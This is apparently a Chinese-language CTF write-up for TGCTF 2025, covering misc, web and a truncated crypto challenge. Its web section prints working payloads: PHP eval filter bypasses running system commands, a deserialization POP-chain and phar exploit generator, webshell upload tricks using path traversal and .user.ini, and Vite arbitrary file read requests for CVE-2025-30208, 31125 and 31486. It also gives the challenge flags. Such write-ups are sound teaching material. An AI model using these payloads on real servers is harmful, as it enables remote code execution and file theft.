[TOC]

misc

签到

image-20250412120304459

TGCTF{Efforts_to_create_the_strength, attitude_determines_altitude.}

next is the end

下载附件,压缩包里面是一个文件夹,里面就是很长的目录,可以手动打开到目录最后一级,得到flag。

image-20250412120441474

where it is

图寻题

image-20250412120547399

百度识图学校门口那部分,找到如下相似图片

image-20250416145432514

定位地点:内湖高工

image-20250416145512211

TGCTF{港墘站}

这是啥?

解压文件,通过文件头发现是一张gif图片。

对gif图片进行帧分离,得到一堆图片。

发现后面9张图片的左上角都有一部分二维码的图片

image-20250416152707629

将他们提取拼好后,扫描得到

image-20250416152841105

image-20250416152825533

根据提示提到了time(时间),可能跟gif图片帧间隔有关。于是提取帧间隔

image-20250416153225889

[‘840’, ‘710’, ‘670’, ‘840’, ‘700’, ‘1230’, ‘890’, ‘1110’, ‘1170’, ‘950’, ‘990’, ‘970’, ‘1170’, ‘1030’, ‘1040’, ‘1160’, ‘950’, ‘1170’, ‘1120’, ‘950’, ‘1190’, ‘1050’, ‘1160’, ‘1040’, ‘950’, ‘1160’, ‘1050’, ‘1090’, ‘1010’, ‘330’, ‘1250’]

将末尾的零都去掉,得到:

84, 71, 67, 84, 70, 123, 89, 111, 117, 95, 99, 97, 117, 103, 104, 116, 95, 117, 112, 95, 119, 105, 116, 104, 95, 116, 105, 109, 101, 33, 125

ASCII解码得到flag

TGCTF{You_caught_up_with_time!}

ez_zip

压缩包需要密码,最外层直接爆破得到密码:20250412

image-20250416153926605

解压得到内层压缩包,查看end.zip文件里也有一个sh512.txt,所以是明文爆破

我们将外层的sh512的内容进行sh512加密,然后替换sh512.txt的内容

image-20250416161021797

再新建一个文件夹名为End,将修改的sh512.txt放进End文件夹,使用ZipCrypto加密将End文件夹压缩成End.zip文件,作为明文文件。

查看两个End.zip文件的内容,发现sha512.txt文件的原始数据都是128,所以我们的推测是正确的。

进行爆破

你的运气是好是坏?

CTF自然常数(。

flag{114514}

你能发现图中的秘密吗?

下载附件,发现是个压缩包和png图片,压缩包需要密码,于是从图片入手

image-20250416191540188

将图片放进随波逐流,发现密码

image-20250416191617938

解压压缩包,里面是一张pdf和一张png图片

将png图片放进010editor,发现有一块IDAT的长度不对

image-20250416191751353

将其提取出来,需要加上原图(png)的文件头

image-20250416191924326

image-20250416191953155

于是得到一张模糊的图片,但可以确定图片里有信息,于是需要爆破宽高

image-20250416192046418

发现其宽度是375的整数倍时好像有模糊不清的英文,爆破遍历发现宽为1125时是正确的

image-20250416192156152

flag{you_are_so

再看pdf文件,先在线网站读取一下pdf的相关信息

image-20250416200234964

发现使用了ps,于是我们使用ps打开,发现了第二个图层,在其左上方发现flag部分

image-20250416202111177

_attentive_and_conscientious}

两部分合在一起就是flag

flag{you_are_so_attentive_and_conscientious}

web

AAA偷渡阴平

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

审计源码发现,过滤了一堆字符,但是没有过滤字母和英文括号,所以可以进行无参数rce。

payload:

1
2
?tgctf2025=print_r(eval(end(current(get_defined_vars()))));&b=system("ls /");
?tgctf2025=print_r(eval(end(current(get_defined_vars()))));&b=system("cat /f*");

image-20250416211949178

TGCTF{a5a62f5b-307d-ab14-604f-bab8140d76f4}

AAA偷渡阴平(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

代码审计,发现还过滤了一堆关键字,再结合提示,不能使用无参数rce了。

数字只有2可以用,这里肯定是一个重要的利用点,可以想到hex2bin函数,把十六进制字符串转为二进制ascii字符串,如果我们往请求头中放入我们构造的十六进制字符串,hex2bin转为字符串后就可以执行了。

再观察发现可以使用session_start和session_id,但是请求包中没有cookie,自己加上就行。

1
?tgctf2025=session_start();system(hex2bin(session_id()));

image-20250424201407501

image-20250424201553004

也可以考虑读取请求头,看到只过滤了getallheaders()函数,还可以试试apache_request_headers(),虽然这个函数局限于apach,但是可以试试。

不过需要删除除了host以外的其他内容,因为apache_request_headers()函数会返回其他所有请求头的内容,删除了就只会剩下自己加的那个,就不用使用end、next等函数了(因为end等被禁了)

image-20250424202021963

TGCTF{c82d39c2-e069-e97e-91cf-25854fe00894}

火眼辩魑魅

打开网站,扫描一下目录,发现robots.txt文件

image-20250419155059982

然后使用tginclude.php界面查看tgshell.php的文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if ($_POST["shell"]){
$shell=$_POST["shell"];
if(!preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $shell))
{
eval($shell);
}
else{
die("你明明知道你被waf了,为什么还在尝试?。?");
}
}
else{
echo "哇,贞德是你鸭!";
}
?>

发现过滤了很多危险函数,不过system可以使用反引号代替,或者使用其他绕过方法

直接构造payload:

1
shell=echo `ls /`;

需要进行一次url编码,得到:

1
%65%63%68%6f%20%60%6c%73%20%2f%60%3b

image-20250419155524702

同样的方式,执行

1
2
echo `cat /tgfffffllllaagggggg`;
url编码:%65%63%68%6f%20%60%63%61%74%20%2f%74%67%66%66%66%66%66%6c%6c%6c%6c%61%61%67%67%67%67%67%67%60%3b

image-20250419155846144

TGCTF{fccd6e8f-6b4c-c4f2-34d3-bce717c86954}

什么文件上传?

打开网站,查看源码,发现提示。

image-20250419163010834

访问/robots.txt

image-20250419163048734

查看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
 <?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

代码审计,其实就是构造反序列化实现future类的post命令执行

1
2
3
future->__toString() 
today->__call()
yesterday->__destruct()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}

class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}

class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}

$future = new future();
$today =new today();
$yesterday = new yesterday();
$yesterday->study = $today;
$today->doing = $future;
echo best64_encode(serialize($yesterday));

?>

#Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWpKTmVWVXhaR3RSTWtwWVZXeHNWbUZyV25GWmJGcFhVV3hzVjFremFHdE5hMncyVmtjMWQyRkdXWGRqU0hCWVlrVTFTMVJxU2s5T2JVbDZZa1U1VjFKNmJIZFdWRUpxVGxVd2QySkZhRlZpVjJod1dWWldTazFXYkhGVWJGcGhUVmM1TlZadGNFTlRiRWw1WVVoT1drMXFSbGRVUkVaRFUwWk9kV0pHUm1oV1YzTjZWMVJPZDJSdFZrWk5WbFpwVFcxNFExVnFSblpsUm5CR1lVWmtiRlp1UWxOVlZ6VmhZVEZrUjFKdVFsVmxhMFYzVkdwS1QwNXRTWHBoUlRWVFVucHNkMVZXVm10WlZURllWV3RzVjJKdGVHaFdWbFpMVFZac2RXSkZjRTlOVmtwNFdrVm9kMVZIUm5SVVZFcFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldXbmRXU0hCQ1RVVTBlVlJxV21sbGF6VlJXVlpXZG1WR2JEWlRiR1JwVmpGS1dWcEVUbk5UYlVaMVZXeENWV1ZyTlU5VWJYTXhUbTFKZVdKSGRGaFNWRlo2VmpJd01WWXlUWGROVkZaVVZrZFNWbGxYTlZOT2JGRjVZMGR3VDJFeWVERldiVFYzV1ZaWmVHSXphRnBoTVVwVFdWWlZOR1F3TlVWYVIzQnNZbFJvTmxaRVNuTlRNREZZVkZoc1YySlVSbkpXYWs1cVpVWk9XR05FUWxWTlJHZzJWa1pTWVZReVZuUlBXRUpoVW0xb1VGbHJXbmRrVmxwMVZHczVhRlpYYzNwV2EyUjNUVWRXY2s5WVJscGxiSEJMV1cxNFlVNXNaSE5hUjBaT1ZqQndSbGRVU25OVlJURkZWVlJPV2swelFqSlVWRUUxWTBaT2NWSnRjRTVpUm5Bd1YydGFhMDB3TlVaaVNFWnJVbFJzVVZSVVFYZE5iRkoxWTBoYWFGWXhTbHBXUnpFMFdWZEtjMWR1Y0ZWTlZUVkxWR3BHVTJOWFVrbGpSa0pvWWxkTmVWVXhZekZXTWxaelkwWm9XR0ZyV25CVmExWlhUVEZPV0dORVFsVk5SR2cyVmtaU1lWVkdTa2hQV0VKaFVtMW9VRmxyV25ka1ZscDFWR3MxVjFKV1duZFdTSEJDVFVVMGVWUnFXbWxsYkVwUldWWldkbVZHYkRaVGJHUnBWakZLV1ZwRVRtOVViVVpXWVhwT1YxSXpRWGRhVjNNMVkxWndObGRyY0dsaVJtOHlWako0YTFsVk1WaFRhMVpUVjBoQ1MxbFhOVk5WUmxJMlZHczFUMkY2YkVaWmFrcHpZVEZrUms1WVRsaGlWRlpZV1hwQmVGWldWbGhpUmtKT1VrWkZlbGRVVG5ka2F6VkdUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVkZaVlZURlNhMVpYUm5WVmFscFZUVzVDZFZSdGRITmtWbHAxWTBkR1YwMVhPVFJYVjNSVFVtc3hjbUpJUm10U1ZHeFJWRlJCZDAxc1VYZFZibHBvVmpGS1dsWkhNVFJaVjBwelYyNXdWVlpzU25GWlZsVTBaREExUlZwSGNHeGlWR2QzVmtSS2MxTXdNVmhVV0d4WFlsUkdjbFpxVG10T1JsRjNWR3R3VDAxV1NuaGFSV2gzVlVkR2RGbDZTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbFpWZUZVeFpIZE5SbEYzVDBod1ZWWkdjRkZWYTJNMVkwWndSMkZGT1dsU2JrSXhWbTAxVDFSdFJuSlNia0pWWld0RmQxUnFTbUZYVmxKVlYyczFiR0pVYkhkV01uUnJZekpGZDJKSVJtdFRTRUpSV1ZkemQwMVdVWGxpUlhSWVVqQmFTVlZ0Y0VOVGJFNUlaVVJLWVZKck5VUlpWRXBIVjBaV1dGcEhiRmROUm5BMVZqSjRiMVJzYjNsV2JHaFFWa1ZhUzFWdWNISmxSbkJHWVVVNVRsSnRlRmxVYkdRd1lVWmFObFp1VmxWU00wRXdXVlprVDJOVk5VaGlSa0pPVFVSQmVWWkhkRk5rYlVaWFkwVm9VRmRHV21oV1ZFSnlUVEZhU0dORVFsQldNRFF5V1dwT2QxVkhSbFppTTJSYVRXcFdlVmxXVlRSa01EVkZXa2N4VmxaRVFUVT0=

由于代码中有substr($_GET[‘filename’],0,-4),所以最后四位被截取了,因此只需要在末尾加上随便4个字符就可以了,如:

1
Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWpKTmVWVXhaR3RSTWtwWVZXeHNWbUZyV25GWmJGcFhVV3hzVjFremFHdE5hMncyVmtjMWQyRkdXWGRqU0hCWVlrVTFTMVJxU2s5T2JVbDZZa1U1VjFKNmJIZFdWRUpxVGxVd2QySkZhRlZpVjJod1dWWldTazFXYkhGVWJGcGhUVmM1TlZadGNFTlRiRWw1WVVoT1drMXFSbGRVUkVaRFUwWk9kV0pHUm1oV1YzTjZWMVJPZDJSdFZrWk5WbFpwVFcxNFExVnFSblpsUm5CR1lVWmtiRlp1UWxOVlZ6VmhZVEZrUjFKdVFsVmxhMFYzVkdwS1QwNXRTWHBoUlRWVFVucHNkMVZXVm10WlZURllWV3RzVjJKdGVHaFdWbFpMVFZac2RXSkZjRTlOVmtwNFdrVm9kMVZIUm5SVVZFcFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldXbmRXU0hCQ1RVVTBlVlJxV21sbGF6VlJXVlpXZG1WR2JEWlRiR1JwVmpGS1dWcEVUbk5UYlVaMVZXeENWV1ZyTlU5VWJYTXhUbTFKZVdKSGRGaFNWRlo2VmpJd01WWXlUWGROVkZaVVZrZFNWbGxYTlZOT2JGRjVZMGR3VDJFeWVERldiVFYzV1ZaWmVHSXphRnBoTVVwVFdWWlZOR1F3TlVWYVIzQnNZbFJvTmxaRVNuTlRNREZZVkZoc1YySlVSbkpXYWs1cVpVWk9XR05FUWxWTlJHZzJWa1pTWVZReVZuUlBXRUpoVW0xb1VGbHJXbmRrVmxwMVZHczVhRlpYYzNwV2EyUjNUVWRXY2s5WVJscGxiSEJMV1cxNFlVNXNaSE5hUjBaT1ZqQndSbGRVU25OVlJURkZWVlJPV2swelFqSlVWRUUxWTBaT2NWSnRjRTVpUm5Bd1YydGFhMDB3TlVaaVNFWnJVbFJzVVZSVVFYZE5iRkoxWTBoYWFGWXhTbHBXUnpFMFdWZEtjMWR1Y0ZWTlZUVkxWR3BHVTJOWFVrbGpSa0pvWWxkTmVWVXhZekZXTWxaelkwWm9XR0ZyV25CVmExWlhUVEZPV0dORVFsVk5SR2cyVmtaU1lWVkdTa2hQV0VKaFVtMW9VRmxyV25ka1ZscDFWR3MxVjFKV1duZFdTSEJDVFVVMGVWUnFXbWxsYkVwUldWWldkbVZHYkRaVGJHUnBWakZLV1ZwRVRtOVViVVpXWVhwT1YxSXpRWGRhVjNNMVkxWndObGRyY0dsaVJtOHlWako0YTFsVk1WaFRhMVpUVjBoQ1MxbFhOVk5WUmxJMlZHczFUMkY2YkVaWmFrcHpZVEZrUms1WVRsaGlWRlpZV1hwQmVGWldWbGhpUmtKT1VrWkZlbGRVVG5ka2F6VkdUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVkZaVlZURlNhMVpYUm5WVmFscFZUVzVDZFZSdGRITmtWbHAxWTBkR1YwMVhPVFJYVjNSVFVtc3hjbUpJUm10U1ZHeFJWRlJCZDAxc1VYZFZibHBvVmpGS1dsWkhNVFJaVjBwelYyNXdWVlpzU25GWlZsVTBaREExUlZwSGNHeGlWR2QzVmtSS2MxTXdNVmhVV0d4WFlsUkdjbFpxVG10T1JsRjNWR3R3VDAxV1NuaGFSV2gzVlVkR2RGbDZTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbFpWZUZVeFpIZE5SbEYzVDBod1ZWWkdjRkZWYTJNMVkwWndSMkZGT1dsU2JrSXhWbTAxVDFSdFJuSlNia0pWWld0RmQxUnFTbUZYVmxKVlYyczFiR0pVYkhkV01uUnJZekpGZDJKSVJtdFRTRUpSV1ZkemQwMVdVWGxpUlhSWVVqQmFTVlZ0Y0VOVGJFNUlaVVJLWVZKck5VUlpWRXBIVjBaV1dGcEhiRmROUm5BMVZqSjRiMVJzYjNsV2JHaFFWa1ZhUzFWdWNISmxSbkJHWVVVNVRsSnRlRmxVYkdRd1lVWmFObFp1VmxWU00wRXdXVlprVDJOVk5VaGlSa0pPVFVSQmVWWkhkRk5rYlVaWFkwVm9VRmRHV21oV1ZFSnlUVEZhU0dORVFsQldNRFF5V1dwT2QxVkhSbFppTTJSYVRXcFdlVmxXVlRSa01EVkZXa2N4VmxaRVFUVT0=abcd

image-20250419164959846

image-20250419165022388

TGCTF{28459a5f-f039-dde1-8750-ba11e0e81fb8}

什么文件上传?(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
 <?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

代码的pop链跟上一道题目一样,只是由于best64_decode()函数的存在,导致我们不能再控制反序列化。但是根据file_exists和文件上传点,考虑phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php  

function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}

class future{

}

class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}

class yesterday {
public $learn;
public $study;
public $try;

public function __construct() {
$this->study = new today();
}
}


$a=new yesterday();

$phar = new Phar("flag.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

#运行命令
php -d phar.readonly=0 your_script.php

然后上传文件,抓包爆破后缀名,发现后缀名为atg

image-20250419174740260

修改后缀名,上传成功后拿到路径

image-20250419174850564

然后传参

1
?filename=phar://uploads/test.atg

image-20250419175105128

image-20250419175441807

env是查看java环境的命令

或者使用set

image-20250419175549724

TGCTF{299144ca-9870-1948-5031-8caab3360676}

(ez)upload

扫描目录,发现一个upload.php.bak文件,下载下来代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

本题的关键在$_GET['name']move_uploaded_file($temp_file, $img_path)

这边的move_uploaded_file可以将文件移动到新的位置,而且也没有过滤什么

所以我们只需要在url上追加一个name参数并且值带../就可以写到目录上了

并且存在upload.php,所以我们可以使用.user.ini

由于使用.user.ini需要同级目录下有php文件,所以可以上传图片马和.user.ini到upload的上级目录中执行。

存在目录穿越漏洞,利用这个,把.user.ini传到web目录就可以利用upload.php了。

image-20250419191044531

然后上传yjh-cmd.jpg文件

image-20250419191230231

然后访问/upload.php进行命令执行,多次翻阅目录无果,尝试phpinfo(),搜索得到flag

image-20250412182701458

这种解法我没复现出来,也没找到原因。

下面介绍第二种常规解法:

代码审计可以知道,如果上传一个文件,其文件是php后缀,然后就会和上传路径拼接(假设上传路径为/uploads/,那么上传1.php文件后就会在该目录下创建一个1.php的文件夹,然后将上传的文件1.php放进1.php文件夹里面,所以最终路径为/uploads/1.php/1.php。但是这道题目进行了访问权限控制,无法访问这个路径,所以得另寻他法)

上传一句话木马.jpg文件,然后抓包修改。

后缀名使用大小写绕过,路径使用/.绕过

1
?name=yjh-cmd.php/.

image-20250421230810709

然后上传成功,扫描一下目录

image-20250421231309375

扫出了 /uploads路径,可能就是文件上传后所在路径

1
/uploads/yjh-cmd.php

能访问,就可以用蚁剑链接,文件里找不到flag,可能在环境里面

image-20250421232015293

拿到flag。

实在不知道路径就猜,猜不出来就重复上传同样的文件,可能会报错出现路径。

image-20250421231142843

前端GAME

打开网站,是一个雪糕消消乐游戏,可能需要特定分数才能得到flag。

根据题目提示,flag应该在前端,我们打开控制台找找

image-20250424210051648

解码得到:

1
2
3
恭喜你获得了
雪糕大王称号
flag在根目录下/tgflagggg中

可以知道flag在/tgflagggg目录里,但是直接访问是不行的,它会自动跳转/#/

根据框架vue3,搜索关键词:vue3文件读取漏洞

找到一篇复现漏洞的博客:Vite 任意文件读取漏洞分析复现(CVE-2025-30208) | 小艾博客

利用的是CVE-2025-30208,根据其内容,构造

1
/@fs//tgflagggg?import&raw??

image-20250424212034085

TGCTF{3a690b1f-9bd4-690c-244a-904bb8a8605d}

前端GAME Plus

打开后,依然在控制台看到提示

image-20250424212331547

我们试试上一题的payload,得到

image-20250424212408143

The request url “/tgflagggg” is outside of Vite serving allow list

翻译过来就是

请求 url “/tgflagggg” 在 Vite 提供允许列表之外

信息搜集发现,利用的可能是CVE-2025-31125

Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

使用文章中未公开的poc来构造payload:

1
2
3
/@fs//tgflagggg?meteorkai.svg?.wasm?init
或者
/@fs//tgflagggg?import&?meteorkai.svg?.wasm?init

image-20250424214249163

base64解码得到flag

TGCTF{522dfde6-9943-bee7-9c2e-1c4544c46fbf}

前端GAME Ultra

根据控制台源码得到,flag依然在根目录下/tgflagggg中

使用前面的payload都不行,我们先下载源码,知道了vite版本:

image-20250424223538216

信息搜集一下:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31486)-先知社区

构造payload

1
/@fs/app/#/../../../../../tgflagggg

image-20250424223258247

TGCTF{65a20f08-b068-fdf9-5f22-cb35cf177923}

crypto

宝宝rsa

下载脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from math import gcd
from Crypto.Util.number import *
from secret import flag

# PART1
p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1
phi = (p1 - 1) * (q1 - 1)
m1 = bytes_to_long(flag[:len(flag) // 2])
e1 = getPrime(18)
while gcd(e1, phi) != 1:
e1 = getPrime(17)
c1 = pow(m1, e1, n1)

print("p1 =", p1)
print("q1 =", q1)
print("c1 =", c1)

# PART2
n2 = getPrime(512) * getPrime(512)
e2 = 3
m2 = bytes_to_long(flag[len(flag) // 2:])
c2 = pow(m2, e2, n2)

print("n2 =", n2)
print("c2 =", c2)
print("e2 =", e2)

# p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
